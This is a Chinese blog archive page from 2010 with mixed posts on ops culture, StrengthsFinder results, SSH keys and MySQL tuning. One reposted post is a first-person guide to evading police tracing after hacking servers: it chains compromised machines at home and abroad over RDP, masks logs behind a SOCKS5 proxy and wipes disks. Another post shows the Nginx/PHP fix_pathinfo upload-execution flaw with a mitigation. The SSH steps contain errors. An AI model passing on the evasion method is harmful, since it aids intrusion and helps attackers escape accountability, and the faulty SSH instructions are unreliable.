Bjorn Freeman‐Benson:  这是非常有趣的一周。很抱歉我已经有好几天没有发表内容了。我在我们的 SaaS 工具上  部署了很棒的新特性,并且开始了下一轮的开发。现在我们在应用程序性能监视工具中包含了对生产环境的概要分析。我们至少每周都会推出一些新特性,并在一周之内做几次 ad‐hoc 的补丁。这让我们一直都很忙。我还要说,在 New Relic,我们仍然拥有非常棒的系统管理员,他叫 Bayar Carlin。我知道,通过我的评论,你可能会认为我们没有任何运维人员。但是,我们确实有一名。他也是应对我们的员工的需求的内部IT部门。
在以后的内容中我会更多地谈到 Bayard。 
在查看来自于读者的一些评论的过程中,我看到了很多非常好的评论,想在这里强调并做出回应。在下次发布的内容中,我会总结从所有这些反馈和  Carlos 的观点中所学到的东西。 
首先,David Sims评论道:“让我们的开发者深入参与到技术支持中真的很好,因为这让他们产出了更好的产品。然而,正如 Carlos 所指出的,作为小公司的所有者,  我知道让开发者来回答问题并非是对资源最有效的利用,有技能的支持工程师同样可以处理。”我对两位的意见都表示同意。我已经看到让开发者参与到生产环境的会让产品质量得到稳步地改善。我们也同意 David 的意见,他说对于开发团队,当还有新的代码要写的时候,花费时间做运维的工作是一种挑战。然而,如果  David 的意思是运维工作并不具备足够高的价值,那么我就要表示反对。我不会为运维团队所做的工作分配比开发团队做的工作少的价值,只是之间有所不同。 
其次, Geva Perry关于云计算造成的影响以及对运维的角色的影响的分析的思考非常有价值,可能某天我们会在新的文章中对其进行扩展。在New Relic 中的一些应用程序位于云中,而另一些位于传统的托管环境中。然而,我们有大量的客户,部署在各种各样的云环境中,我们听到其中的某些客户谈到,  他们在新的部署环境中遇到了很多新的、不同的需求。 
第三,我对John Allspaw 的评论同时持同意和反对的意见。我不同意他所说的(云中的)自动化不会明显减少运维人员的数量。我认为这是不可避免的趋势。我同意在大多数大型的公司中,仍然还会与运维团队,并且我们可以用他们学会协作的程度,而不是抹杀他人的成绩的程度来衡量成功。 
第四,我喜欢 Sellers Smith 的意见,“健康的运维环境的标志”。我认为他处于正确的轨道上。我还是喜欢将应用程序和服务等级中更多的责任成功地迁移给开发者,从而在开发人  员和运维人员之间没有过多的传递,而有更多在思想来创建应用程序和应用程序平台。想一下在工业工程和客户产品中的对可维护性的设计的运动,你就会明白我所  想要表达的意思。 
下次发布时我会总结我所学到的,并继续征求你们的意见。 
原文链接:http://www.infoq.com/cn/news/2010/05/debate‐role‐of‐ops

Tags:,, Posted in 工作我抢沙发

网警版顺藤摸瓜大法(网警如何找到你)

2010/06/02

古语有云:天网恢恢、疏而不漏!这句话是真的么?现实社会中我不知道。但是在互联网上,这句话在Internet上是很软弱的。读完我这篇文,就可以知道。在网络上触犯现行法律,即便于公安部门立案调查,未必就“落入法网”  注:本文仅做技术研讨,并非讨论如何在犯罪后逃脱法律的惩罚。

首先来认识一下:“网监”也就是公安部门分管网络的部门。他们负责网络监管,如网站和服务器被黑、游戏帐号装备被盗、网络上的各种纠纷、色情`反现zhengfu的内容。都属于网监处理。
我们来假设一个案例:163.com主站被入侵,服务器硬盘全部多次格式化,并且重复读写垃圾数据,导致硬盘数据无法进行恢复,损失惨重。于是在召集专家紧急修复服务器数据的同时,163.COM公司迅速向广州网监报案。广州网监介入调查,追踪此次入侵者!

如果你是入侵者,你面对这样的情况。你会怎么办?其实很多同行在侵入别人网站、服务器、内部网络的同时,都不太懂得如何保护自己。如果你们不注意隐藏自己,用不了一天,网监部门就可以锁定你家祖宗十八代-_-!!!,如果隐藏的好,等这个案子过了法律追究期限,也是个无头案。而这,在Internet上来说,是易如反掌!

首先,我们来了解下`网监部门如何追踪入侵者,锁定他在何处作案。大家一般都知道,当你黑掉一个网站的时候,你在WEB的操作。都会或多或少的被记录在对方WEB服务器日志上。IIS和Apache都是会记录一些IIS日志。如果你入侵一家网站,被记录下IP地址一点也不奇怪。就算一般浏览网站,也会被记录下IP,当你在浏览网站执行一个操作的时候,IIS服务器就会进行一次记录,比如说发生一次连接错误。这就更不谈你侵入他人网站会不会留下IP记录,这是绝对会留下的。

当你侵入一台服务器呢?在你进入服务器的时候,首先WINDOWS系统就会对你的连接IP进行记录,其次在网关服务器上。也会记录连接进入服务器的IP。所以即便于你能够把服务器上的记录给删除,而网关上的记录,你永远也碰不到。

公安部门在锁定做案者的时候,首先就是要找到做案者,如何找到?最重要的就是追踪IP了。

我们来了解下一些ADSL宽带接入常识。

众所周知,现在大家一般都是使用的ADSL电信或者网通的宽带接入网络。绝大部分是使用的动态IP,少部分是使用的固定IP。固定IP是特性一般是带宽在 4M以上。而一般人用不了。当你启动计算机,通过ISP提供给你的宽带ADSL帐号拨进互联网的时候。ISP服务商的系统就会随机分配给你一个动态IP,并且记录如下事件,例如:2008年8月8日8时8分8秒,btm4545455(宽带帐号),拨入IP:58.53.1.5,操作系统: Windowsxp,拨号电话:07284544562。各省的电信记录方式可能不同,但是这些数据绝对会被ISP记录下来,有的人可能不相信ISP会记录这么详细的内容。不过我进入电信网络中查看过这种系统,确实存在!而且更详细,我这里只是简单列举了他记录的一些主要数据!

另外一点,当你成功拨号进入互联网后,你的IP在访问互联网的时候,会经过不少路由器,几乎每个路由器都会记录下你的IP!

现在大家知道了ISP服务商通过什么方式记录你的行踪了吧?

我们再谈谈公安部门如何抓捕做案者。大家都知道,要抓一个人,首先就要知道他是谁、他在那里。如果这都不知道,怎么抓?而要获取到作案者地理位置和真实身份的唯一手段,就是“IP”,IP就是ISP分配给大家用来上网的东东。大家都知道,当你的计算机和一台Internet上的服务器建立连接的时候,双方就会互相传输数据给对方。而这个IP就等于是传输的通道,其实你使用的IP,只能说是互联网的“身份证”,真正访问互联网资源的其实是ISP,你的IP只是负责接受和传输数据到XX服务器。同样,这个IP就是确认某台计算机在某年某月某日某时某分某秒连接进入某个网络的证明。同样只有找到这台作案的计算机,才能继续追查他的使用者。

好的,我们现在回到前面,我们前面说了,假设163.COM公司报案后,公安部门通过分析,在WEB服务器系统上以及网关上面(无法擦去)均找到了连接并入侵系统的IP地址:211.1.1.1,这个时候公安部门调查发现,这个IP是来自日本的。这就是说`入侵者是日本人?这其实只是一个假象。

当查找一个入侵者的时候,很重要的一个环节就是查路由日志,大家都知道,当你的IP访问一台服务器的时候,就会经过非常多的路由器,也就是说不只一台路由记录了你曾经到访过的IP,这也是可以追查到的。同样,即使你使用国外肉鸡来连接入侵163.COM,公安叔叔同样会追查到你。那他们是如何做到的?

答案很简单,公安部门是有权利要求电信部门配合,提供路由日志,具体提供到有那些IP曾经路由到 211.1.1.1这个IP上面,这样。就可以抓住你了。当你被抓的时候,别想`为什么劳资明明用了代理,还是被抓?其实很简单,因为单单是一层,那是很容易被破解的,尤其是代理!代理协议都是很简单的。被破译一点也不难。

大家都知道,公安网络监管部门有一个国家防火墙“金盾”,大家知道这个防火墙是做什么的?就是用来屏蔽一些被认为网站内容涉嫌fandong、色情活动的站点和网络资源。不信,大家试试随便找个普通的国外有效代理访问类似www.wujie.net,你就会发现你和代理的连接中断,为什么中断?因为金盾检测到你涉嫌访问fandong、色情内容`并且已经被屏蔽的站点。然后ISP的系统,就会强行中断你和那个国外代理的连接。这样,在一定的时间里,你就会以为代理死掉了。更简单的测试方法比如:你在google.com里搜索:“邪恶”,你就会发现自己和GOOGLE的连接已经中断,其实这就是ISP强行掐断了你们的访问。你在大概几分钟类就无法访问GOOGLE。因为你的内容没有进行任何加密措施,就类似代理、就很容易被识别出来。

所以大家不要随便相信代理这种基本没有任何安全性可言的东西。。而怎么样,才能逃避追踪呢?方法很简单。

公安部门追踪入侵者,只能从IP下手,我们逃避掉IP,只要自己拉风。基本就没有危险了。如何逃避?我说下,我一般“检测”站点服务器所用的方法。准备工具 `根据威胁性质`我一般对很危险的网络使用“E级防护”直接侵入服务器的是:北京某高速IDC服务器A、它的后面还有:湖南IDC服务器:B、山东IDC 服务器:C、韩国服务器:D、台湾服务器:E、本人电脑:F。

注意,防护程度根据个人能力而定,一般我这种级别的入侵防护要求被控制的服务器质量很高,首要是速度非常快,PING值如果国外的两台高于:150,那就不用考虑了。一般国外的要求PING在120左右。国内的PING在70以内。否则会造成操作速度非常缓慢,因为本身这样做以后,操作速度就会变慢不少,原因是:(这里的各地服务器我用A、B、C、D、E、F代替,刚才已经写清楚了),首先,我们连接的是E,然后在E号服务器里使用3389终端连接韩国D 号,然后D号再3389连接进入山东服务器C号,然后C号3389再连接进入湖南B号。湖南B号继续3389连接进入“A号”。这样,在操作过程中。你的一切操作都会记录在A号上面。被入侵的服务器一切记录都在北京A号上。连A号上的日志都不用擦,就是要留给公安叔叔追踪!

我前面已经说过了,公安叔叔的网络抓捕终极武器就是查路由了。而当我连接到台湾E号的时候,就会记录我路由到了E,然后呢?你在3389上的操作,仅仅只会留在对方的服务器上,而你只是看到传输回来的图象。并且是经过高强度加密,我试过根本无法被识别,依照现在的技术,是根本无法还原你到底进行了什么操作。并且这是绝对不可能的事情。因为终端连接的协议是非常严谨的。就现在来说,是无法破解的。看完你就知道为什么了!

当我连接到E号台湾的时候,我的一切操作就是E完整的,我仅仅是得到传输回来的图形界面(也就是截图差不多的),所以一切操作就是E完成的。这个时候E路由到了D号韩国,所以E号的路由就不是我们的了,就是由台湾ISP服务商路由了~大家明白原理了吧?公安叔叔只有权利查国内电信部门的路由日志,他们可以查到一个IP路由到了国外,但是绝对不可能查到一个真正的国外计算机傀儡到底他背后是谁`为什么呢?

因为当E号台湾操作D号韩国的时候,他的一切操作就是由台湾ISP记录了。这个时候韩国D号连接国内C号的时候,才有可能被查到。为什么呢?因为前面的A、B、C都在国内,只要在国内,都有可能被追踪到!例如:

继续回到案例假设中:这个时候公安叔叔查到IP:211.1.1.1`假设他是北京A号,好的,连夜中公安叔叔赶到北京电信`通过电信的配合`查知是某 IDC托管商处的服务器,开启了这台傀儡服务器,通过分析记录日志,得到我们的B号傀儡服务器,好的,连夜赶往湖南电信`在湖南电信的配合下`查到又是一台IDC托管服务器,素闻湖南人热情好客`果然不错。在IDC的盛情款待和大力配合下和公安叔叔们奋勇拼搏、不为个人、大力牺牲的情况下。查到了我们的山东C号服务器。这个时候,劳累的公安叔叔在休息了一晚后,继续赶往山东,在当地电信的配合下。查到这个IP又是属于某IDC机房的。于是在分析完日志后。

我们的公安叔叔知道`曾经在吻合的时间和背景下连接到这台C号的IP是:203.1.1.1`而这个IP来自韩国,怎么办?
其实公安这样要求国内ISP服务商配合调查,开启路由提供日志的几率是很低的。如果要跨国办案,只有一个可能。就是前往韩国`好的,既然是假设,我们就要假设完。在拿到去韩国的机票后,公安叔叔来到了韩国,在当地警方的大力配合和盛情款待后。通过万分之一的机会查到了这台可能已经被我不负任何责任格式掉的服务器IP 地址所在机房。在万分之一的几率下,又通过韩ISP的配合,居然查到还没被删除的路由日志。于是查到路由到这台韩D号的IP来自台湾22.1.1.1、八耻八荣的号召下,公安叔叔奋力拼搏,拿到了去台湾的机票,终于终于获得了台湾警方的配合。在异国,同胞们还是这么热情,终于在万分之一的几率下查到了这台曾经被不负责的格式掉的服务器。。。

终于,在万万分之一的几率下取得源入侵IP23.1.1.1来自中国湖北某地,于是公安叔叔杀红了眼前往湖北,终于在当地ISP的配合下。通过系统记录的拨号记录,终于查找到这位仁兄`可是公安叔叔们发现。已经过了:刑事追究期限。。。。不过这已经是有了中 500亿美金的运气了。说实话,比尔大盖子把他500亿的财产送给你的几率,都比查到源IP的几率高!
刚才是我的假设,剧情是顺利的。可是现实中,是绝对不可能的,首先:路由日志,不是谁想查就能查的。查路由会导致ISP整体网络速度下降非常高。而且不一定有几率,最关键的是这种路由日志一般都会定期删除。所以他的保存期很短。并且电信部门对一般的小地市的网监,不强势的部门都不怎么鸟。所以说,就算要找到我们的C号山东服务器都是很困难的。公安叔叔一般情况下,能查到B号的,你就该送人家:优秀人民公安锦旗了。。

再说说国外的D号和E号,当查到C的时候,也不知道是什么年代了。去查一台多次格式化,并且读写的服务器的入侵日志,无疑是。。。怎么说都不可能,除非有路由和网关日志,那东西。能在几个月后查到的几率是0,按国内公安办案速度,一般等个一年两年,才有可能去韩国。那个时候,估计人家服务器换没换。我就不知道了,这个时候能幸运的查到台湾E号,几率确实比微软老总送你 500亿美刀的几率高。,而在几年后,能在E上找到你的源IP。确实可以当联合国总统了吧?哦对了,好象没这职。
按道理说,找到你的时候,你的电脑在长时间的使用中也已经更新换代了~这个年代,两年换代,不希奇吧?劳资2005年1月配的新机花了8200,现在 2006年买不到6000配的牛 B多鸟!能把你入罪,并且还在法律追究期内的情况,确实能媲美哈雷彗星撞地球了。别的不说,只要把硬盘多读写几次、格几次。这几年后,不格不读写,硬盘也都被重复写过多次了吧?而当年入侵的时候是操作在台湾机器上的,除非有一个可能。

ISP在这几年里一直在路由器上拦截你的一切网络访问数据,并且解密开。并且就算解密开,得到的只是你连接对方服务器的数据。这种级别的享受,我想只有特级间谍才享受吧。ISP可花不起这个钱和设备来监视一个普通人几年。并且还保存几年数据,要知道,如果一个省的ISP监视一个省的上网数据,一天的数据就够装几万G了。。。不知道得用什么东西装,这是不可能的事情。更别提解密了。就算找到你,也没证据证明是谁入侵格式了163.COM的硬盘!
归根结底,只要你能够利用国外网络躲避开国内路由,根本没有可能查到你,上面的假设中的A、B、C、D、E我都是自己亲身使用过的。并非胡乱吹嘘。这里我来说下,我一般检测站点服务器的隐藏自己的具体方式`

   首先准备肉鸡3-5台`2台国外肉鸡`两台国内,国外肉鸡最低两台。这样才能足够逃避追踪。国内肉鸡可以减少到1台。根据你找到的肉鸡网速决定。要求肉鸡的网络延迟非常高`国外地区的肉鸡`网络延迟要求你本机连接上的PING值不高于130。国内肉鸡不高于70的延迟。这样才能很好的使用肉鸡。方式是使用 WINDOWS自带的3389远程连接,在肉鸡里再连接肉鸡,这样反复套袜子式的连接。
我一般是使用5台`3台国内肉鸡,2台国外肉鸡。我采用的连接方式是,完全暴露的国内A号`B号国内,C号国外`D号国内。E号国内,F号本机。我连接E 号,然后连接D、C、B、A。注意`E号建议是采用开代理的方式连接。比如把E号开启SOCKS5代理服务方式,然后你在本机连接IP127.0.1,就可以成功连接E号。这样我在E号留的WINDOWS日志记录IP`全部就变成了127.0.1。这样就无法证明我曾经干了什么。即便于当检查我的计算机的时候,也只能看到我连接了127.0.1。而路由只能证明我访问了、和对方服务器建立了连接。

以上隐藏方式,为亲身使用过。并非胡乱猜想。如果你这样都能被逮,只能说你是神人也!天神下凡。。。。

注意:这篇文章仅做纯技术研讨学习。请不要尝试越过法律!请各位尝试入侵的网友记住!当你在没有任何防护的情况下进行hacking,你时时刻刻都面临着危险。你是否落入那张“网”,就看别人是否要你进“网”。犹如案板上的→“鱼”。

PS:本文转载。

Tags: Posted in 工作, 技术文章我抢沙发

Nginx + PHP CGI的一个可能的安全漏洞

2010/05/21

现在普遍的Nginx + PHP cgi的做法是在配置文件中, 通过正则匹配(Nginx(PHP/fastcgi)的PATH_INFO问题)设置SCRIPT_FILENAME, 今天小顿发现了一个这种方式的安全漏洞.

比如, 有http://www.laruence.com/fake.jpg, 那么通过构造如下的URL, 就可以看到fake.jpg的二进制内容:

  1.  
  2. http://www.laruence.com/fake.jpg/foo.ph

为什么会这样呢?

比如, 如下的nginx conf:

  1. location ~ \.php($|/) {
  2.      fastcgi_pass 127.0.0.1:9000;
  3.      fastcgi_index index.php;
  4.  
  5.      set $script $uri;
  6.      set $path_info "";
  7.      if ($uri ~ "^(.+\.php)(/.*)") {
  8.           set $script $1;
  9.           set $path_info $2;
  10.      }
  11.  
  12.      include fastcgi_params;
  13.      fastcgi_param SCRIPT_FILENAME $document_root$script;
  14.      fastcgi_param SCRIPT_NAME $script;
  15.      fastcgi_param PATH_INFO $path_info;
  16.  

通过正则匹配以后, SCRIPT_NAME会被设置为”fake.jpg/foo.php”, 继而构造成SCRIPT_FILENAME传递个PHP CGI, 但是PHP又为什么会接受这样的参数, 并且把a.jpg解析呢?

这就要说到PHP的cgi SAPI中的参数, fix_pathinfo了:

  1. ; cgi.fix_pathinfo provides *real* PATH_INFO/PATH_TRANSLATED support for CGI. PHP's
  2. ; previous behaviour was to set PATH_TRANSLATED to SCRIPT_FILENAME, and to not grok
  3. ; what PATH_INFO is. For more information on PATH_INFO, see the cgi specs. Setting
  4. ; this to 1 will cause PHP CGI to fix it's paths to conform to the spec. A setting
  5. ; of zero causes PHP to behave as before. Default is 1. You should fix your scripts
  6. ; to use SCRIPT_FILENAME rather than PATH_TRANSLATED.
  7. cgi.fix_pathinfo=

如果开启了这个选项, 那么就会触发在PHP中的如下逻辑:

  1. /*
  2. * if the file doesn't exist, try to extract PATH_INFO out
  3. * of it by stat'ing back through the '/'
  4. * this fixes url's like /info.php/test
  5. */
  6. if (script_path_translated &&
  7.      (script_path_translated_len = strlen(script_path_translated)) > 0 &&
  8.      (script_path_translated[script_path_translated_len-1] == '/' ||
  9. ....//以下省略.

到这里, PHP会认为SCRIPT_FILENAME是fake.jpg, 而foo.php是PATH_INFO, 然后PHP就把fake.jpg当作一个PHP文件来解释执行… So…

这个隐患的危害用小顿的话来说, 是巨大的.

对于一些论坛来说, 如果上传一个图片(实际上是恶意的PHP脚本), 继而构造这样的访问请求…

所以, 大家如果有用这种服务器搭配的, 请排查(可以用网页的方式查看phpinfo();看一下 fix_pathinfo的值是0还是1  ), 如果有隐患, 请关闭fix_pathinfo(默认是开启的) 然后重启PHP.

原文地址:http://www.laruence.com/

Tags:,, Posted in 技术文章我抢沙发

《现在,发现你的优势》

2010/04/30

昨晚公司每人发一本《现在,发现你的优势》然后要求我们每个人都做这个测试然后把得到的几个词发回给人事。

以下是我所得到的结果:

您的标志主题The Gallup Organization 多年的研究表明,效率最高的人往往是那些非常了解自己的优势和行为的人。 这些人最擅长通过制定策略来满足日常生活、职业发展以及家庭的需求,甚至可能达到更高的水平。

回顾您所拥有的知识和技能可以让您对自己的能力有一个基本的认识,但是了解自己的天赋将会切切实实地揭示您始终成功的核心原因。

您的“标志主题”报告中包括 5 项您最出众的天赋主题,它们按照您在 StrengthsFinder 中的测试结果进行排序。 在您所测评的 34 个主题当中,这些主题排在前五位

您的标志主题对于最大限度地发挥那些有助于您成功的天赋来说至关重要。 通过关注您的各个标志主题并加以综合考虑,您可以确定自己的特长、把它们培养成自己的优势,同时在保持连续近乎完美的业绩的过程中享受个人及事业成功的喜悦。
个 别
你 的 个 别 主 题 使 你 对 每 个 人 的 与 众 不 同 之 处 兴 趣 盎 然 。 你 不 能 容 忍 一 概 而 论 或 简 单 归 类 。 你 深 知,如 此 大 而 划 之 会 抹 煞 个 人 特 点 。 相 反 , 你 关 注 个 人 差 异 。 你 本 能 地 观 察 每 个 人 的 风 格 、动 机 、 思 维 方 法 和 交 际 方 式 ,倾 听 其 独 一 无 二 的 生 活 经 历 。 这 一 才 干 充 分 说 明 你 与 别 人 相 处 的 方 式 。 它 说 明 为 什 么 你 能 选 择 恰 到 好 处 的 生 日 礼 品 ; 为 什 么 你 知 道 有 人 喜 欢 , 而 有 人 讨 厌 当 众 受 表 扬 ; 为 什 么 你 能 因 人 施 教 ,对 有 的 人 手 把 手 地 教 , 而 让 别 的 人 “ 自 己 琢 磨 ” 。 由 于 你 密 切 观 察 别 人 的 优 势 , 你 就 能 使 每 个 人 真 正 人 尽 其 才 。你 深 知 , 通 过 告 诉 一 个 人 你 所 看 到 的 具 体 优 势 ,他 / 她 就 会 继 续 挖 潜 。 这 一 个 别 主 题 还 有 助 于 你 建 立 高 效 的 团 队 。 有 人 寻 求 完 美 无 缺 的 团 队 结 构 或 过 程 , 而 你 的 直 觉 告 诉 你 优 秀 团 队 的 秘 诀 在 于 使 每 个 成 员 都 能 做 他 / 她 最 擅 长 的 工 作 。
学 习
你 热 爱 学 习 。 你 最 感 兴 趣 的 题 目 取 决 于 你 的 其 他 主 题 和 经 历 。 但 无 论 是 什 么 题 目 , 你 总 是 受 到 学 习 过 程 的 吸 引 。 过 程 , 而 不 是 内 容 或 结 果 , 最 使 你 兴 奋 。 从 无 知 到 熟 练 的 扎 实 而 执 著 的 进 程 使 你 精 力 倍 增 。 入 门 的 快 感 ;初 学 者 背 诵 或 实 践 学 到 的 内 容 ; 掌 握 一 门 新 技 术 而 日 益 增 强 的 信 心 - 这 些 学 习 的 过 程 深 深 吸 引 着 你 。 你 对 学 习 的 激 情 促 使 你 参 加 各 种 成 人 教 程 - 太 极 拳 、外 语 、钢 琴 、舞 蹈 或 电 脑 培 训 班 等 等 。 它 使 你 能 在 变 动 无 常 的 环 境 中 应 付 自 如 , 无 论 是 分 配 你 完 成 一 个 应 急 项 目 ,还 是 反 复 要 求 你 在 短 时 间 内 成 为 某 个 新 题 目 的 行 家 。 学 习 主 题 并 不 一 定 意 味 着 你 力 图 成 为 某 个 专 题 的 专 家 , 或 追 求 伴 随 某 种 专 业 或 学 术 头 衔 的 荣 耀 。 相 比 之 下 , 更 重 要 的 是 学 习 的“路 程 ” , 而不 是 具 体 结 果 。
专 注
“ 我 正 走 向 何 方 ? ” 你 扪 心 自 问 。 这 一 问 题 每 天 都 萦 绕 脑 际 。 在 专 注 主 题 的 指 引 下 , 你 需 要 一 个 明 确 的 目 的 地 。 没 有 它 , 你 很 快 就 会 对 自 己 的 生 活 和 工 作 一 筹 莫 展 。 因 此 , 每 年 , 每 月 , 甚 至 每 周 , 你 都 做 你 爱 做 的 事 - 制 定 目 标 。 你 的 目 标 , 无 论 长 期 或 短 期 , 都 有 相 同 的 特 点 。 它 们 都 很 具 体 ,都 能 评 测 ,并 且 都 有 进 度 表 。 这 些 目 标 如 同 罗 盘 , 帮 助 你 确 定 重 点 , 并 进 行 必 要 的 修 正 , 以 保 持 航 向 。 你 的 专 注 主 题 十 分 强 大 , 因 为 它 迫 使 你 进 行 过 滤 - 本 能 地 判 断 某 个 行 动 是 否 有 助 于 你 达 到 目 标 ; 无 助 于 此 的 便 被 放 弃 。 你 的 专 注 最 终 迫 使 你 提 高 效 率 。 无 庸 讳 言 , 这 种 模 式 的 另 一 面 是 , 它 使 你 难 以 忍 受 拖 延 、 障 碍 , 甚 至 迂 回 , 而 无 论 它 们 多 么 引 人 。 这 使 你 成 为 一 名 极 其 可 贵 的 团 队 成 员 。 当 别 人 开 始 溜 向 “ 有 趣 的 ” 岔 道 时 , 你 会 及 时 把 他 们 带 回 正 路 。 你 的 专 注 主 题 提 醒 每 个 人 , 如 果 一 件 事 不 能 帮 助 大 家 通 往 目 的 地 , 那 它 就 无 关 紧 要 。而 如 果 它 无 关 紧 要 , 那 就 不 值 得 为 它 浪 费 时 间 。 你 确 保 每 个 人 都 目 不 斜 视 。
战 略
战 略 主 题 使 你 能 够 透 过 日 常 琐 碎 , 寻 找 前 进 的 捷 径 。 它 不 是 一 种 可 以 教 授 的 技 能 , 而 是 一 种 与 众 不 同 的 思 维 方 式 , 一 种 独 特 的 世 界 观 。有 了 这 种 世 界 观 ,当 别 人 被 复 杂 的 事 物 所 迷 惑 时 , 你 却 能 识 别 其 中 的 规 律 。 你 将 规 律 牢 记 在 心 ,尝 试 各 种 不 同 的 方 案 , 不 断 问 自 己 “ 如 果 发 生 这 种 情 况 会 怎 样 ? 如 果 发 生 那 种 情 况 会 怎 样 ? ” 这 些 不 断 出 现 的 问 题 帮 助 你 预 防 不 测 。 如 此 你 便 能 够 精 确 判 断 潜 在 的 障 碍 。 你 看 清 各 条 路 径 的 走 向 , 就 能 进 行 筛 选 。 你 筛 去 死 路 。 你 筛 去 直 通 屏 障 的 路 线 。 你 筛 去 通 往 混 乱 和 迷 茫的 路 线 。 你 不 断 筛 选 , 直 到 你 选 定 一 条 路 线 - 这 就 是 你 的 战 略 。 有 了 战 略 武 装 , 你 开 始 出 击 。 这 就 是 你 的 战 略 主 题 的 运 作 模 式 : “ 倘 若 …… 会 怎 样 ?”筛 选 , 出 击 。
交 往
你 的 交 往 主 题 描 述 你 对 人 际 关 系 的 态 度 。 简 言 之 , 交 往 主 题 使 你 与 熟 人 的 关 系 更 紧 密 。 你 未 必 羞 于 结 交 新 人 - 事 实 上 , 你 可 能 有 其 他 主 题 , 使 你 从 结 交 新 朋 友 中 获 得 无 穷 乐 趣 - 但 你 的 确 从 保 持 密 友 交 往 中 汲 取 巨 大 的 欢 乐 和 力 量 。 你 对 亲 密 关 系 感 觉 自 然 。 事 实 上 , 一 旦 与 人 结 识 , 你 就 会 有 意 深 化 关 系 。 你 对 朋 友 敞 开 心 扉 。 你 同 样 希 望 成 为 他 们 的 知 己 。 你 希 望 了 解 他 们 的 情 感 、 他 们 的 目 标 、 他 们 的 恐 惧 和 他 们 的 梦 想 ; 你 希 望 他 们 用 相 同 的 方 式 了 解 你 。 你 深 知 这 种 密 切 关 系 不 无 风 险 - 别 人 可 能 利 用 你 - 但 你 甘 愿 接 受 这 种 风 险 。 对 你 来 说 , 唯 有 真 诚 的 关 系 才 有 价 值 。 而 检 验 关 系 是 否 真 诚 的 唯 一 方 式 便 是 完 全 信 任 别 人 。 你 与 别 人 分 享 的 越 多 , 你 们 共 同 承 担 的 风 险 就 越 多 。 你 们 共 同 承 担 的 风 险 越 多 , 你 们 各 自 就 越 能 证 明 彼 此 关 爱 是 真 诚 的 。 这 就 是 你 建 立 真 诚 友 谊 的 步 骤 , 而 你 这 样 做 完 全 是 心 甘 情 愿 的 。

Posted in 工作, 生活我抢沙发

用ssh-keygen来设置ssh无密码登录

2010/04/29

今天早上有同事遇到在服务器上做个自动任务每天早上推送数据库备份包到异地的备份服务器上失败,但是手动执行那个任务的命令就正常的情况。原因是让服务器自动操作的时候会出现权限限制,服务器自己不能登录到异地的备份机,如果手动执行的话,由于SecureCRT会执行代理转发,所以可以执行成功。解决方法就是让服务器有可以登录到异地服务器的权限。

在linux系统中,ssh是远程登录的默认工具,因为该工具的协议使用了RSA/DSA的加密算法.该工具做linux系统的远程管理是非常安全的。telnet,因为其不安全性,在linux系统中被搁置使用了。

ssh有一套很有用的工具,其中的ssh-keygen可以用来生成private和public密钥.将生成的public密钥拷贝到远程机器后,可以使ssh到另外一台机器的登陆不用密码.具体方法如下.

1) 在本地机器中的~/.ssh/目录下执行下命令,

ssh-keygen -t rsa

然后一路回车。

将生成两个文件,id_dsa和id_dsa.pub。

2) 将id_dsa.pub的内容添加到远程服务器的~/.ssh/authorized_keys中.

cat id_dsa.pub >>authorized_keys

注意:目录.ssh和文件authorized_keys的权限必须是600.

完成这些工作后,用户从本地机器到远程机器的登录就不用密码了。可以直接用SSH传输文件和登录了。

Tags: Posted in 技术文章, 生活我抢沙发

Mysql 优化的资料

2010/04/28

Mysql 百万级数据优化资料

一、我们可以且应该优化什么?

硬件

操作系统/软件库

SQL服务器(设置和查询)

应用编程接口(API)

应用程序

——————————————————————————–

二、优化硬件

如果你需要庞大的数据库表(>2G),你应该考虑使用64位的硬件结构,像Alpha、Sparc或即将推出的IA64。因为MySQL内部使用大量64位的整数,64位的CPU将提供更好的性能。

对大数据库,优化的次序一般是RAM、快速硬盘、CPU能力。

更多的内存通过将最常用的键码页面存放在内存中可以加速键码的更新。

如果不使用事务安全(transaction-safe)的表或有大表并且想避免长文件检查,一台UPS就能够在电源故障时让系统安全关闭。

对于数据库存放在一个专用服务器的系统,应该考虑1G的以太网。延迟与吞吐量同样重要。

——————————————————————————–

三、优化磁盘

为系统、程序和临时文件配备一个专用磁盘,如果确是进行很多修改工作,将更新日志和事务日志放在专用磁盘上。

低寻道时间对数据库磁盘非常重要。对与大表,你可以估计你将需要log(行数)/log(索引块长度/3*2/(键码长度 + 数据指针长度))+1次寻到才能找到一行。对于有500000行的表,索引Mediun int类型的列,需要log(500000) / log(1024/3*2/(3 + 2))+1=4次寻道。上述索引需要500000*7*3/2=5.2M的空间。实际上,大多数块将被缓存,所以大概只需要1-2次寻道。

然而对于写入(如上),你将需要4次寻道请求来找到在哪里存放新键码,而且一般要2次寻道来更新索引并写入一行。

对于非常大的数据库,你的应用将受到磁盘寻道速度的限制,随着数据量的增加呈N log N数据级递增。

将数据库和表分在不同的磁盘上。在MySQL中,你可以为此而使用符号链接。

条列磁盘(RAID 0)将提高读和写的吞吐量。

带镜像的条列(RAID 0+1)将更安全并提高读取的吞吐量。写入的吞吐量将有所降低。

不要对临时文件或可以很容易地重建的数据所在的磁盘使用镜像或RAID(除了RAID 0)。

在Linux上,在引导时对磁盘使用命令hdparm -m16 -d1以启用同时读写多个扇区和DMA功能。这可以将响应时间提高5~50%。

在Linux上,用async (默认)和noatime挂载磁盘(mount)。

对于某些特定应用,可以对某些特定表使用内存磁盘,但通常不需要。

——————————————————————————–

四、优化操作系统

不要交换区。如果内存不足,增加更多的内存或配置你的系统使用较少内存。

不要使用NFS磁盘(会有NFS锁定的问题)。

增加系统和MySQL服务器的打开文件数量。(在safe_mysqld脚本中加入ulimit -n #)。

增加系统的进程和线程数量。

如果你有相对较少的大表,告诉文件系统不要将文件打碎在不同的磁道上(Solaris)。

使用支持大文件的文件系统(Solaris)。

选择使用哪种文件系统。在Linux上的Reiserfs对于打开、读写都非常快。文件检查只需几秒种。

——————————————————————————–

五、选择应用编程接口

PERL

可在不同的操作系统和数据库之间移植。

适宜快速原型。

应该使用DBI/DBD接口。

PHP

比PERL易学。

使用比PERL少的资源。

通过升级到PHP4可以获得更快的速度。

C

MySQL的原生接口。

较快并赋予更多的控制。

低层,所以必须付出更多。

C++

较高层次,给你更多的时间来编写应用。

仍在开发中

ODBC

运行在Windows和Unix上。

几乎可在不同的SQL服务器间移植。

较慢。MyODBC只是简单的直通驱动程序,比用原生接口慢19%。

有很多方法做同样的事。很难像很多ODBC驱动程序那样运行,在不同的领域还有不同的错误。

问题成堆。Microsoft偶尔还会改变接口。

不明朗的未来。(Microsoft更推崇OLE而非ODBC)

ODBC

运行在Windows和Unix上。

几乎可在不同的SQL服务器间移植。

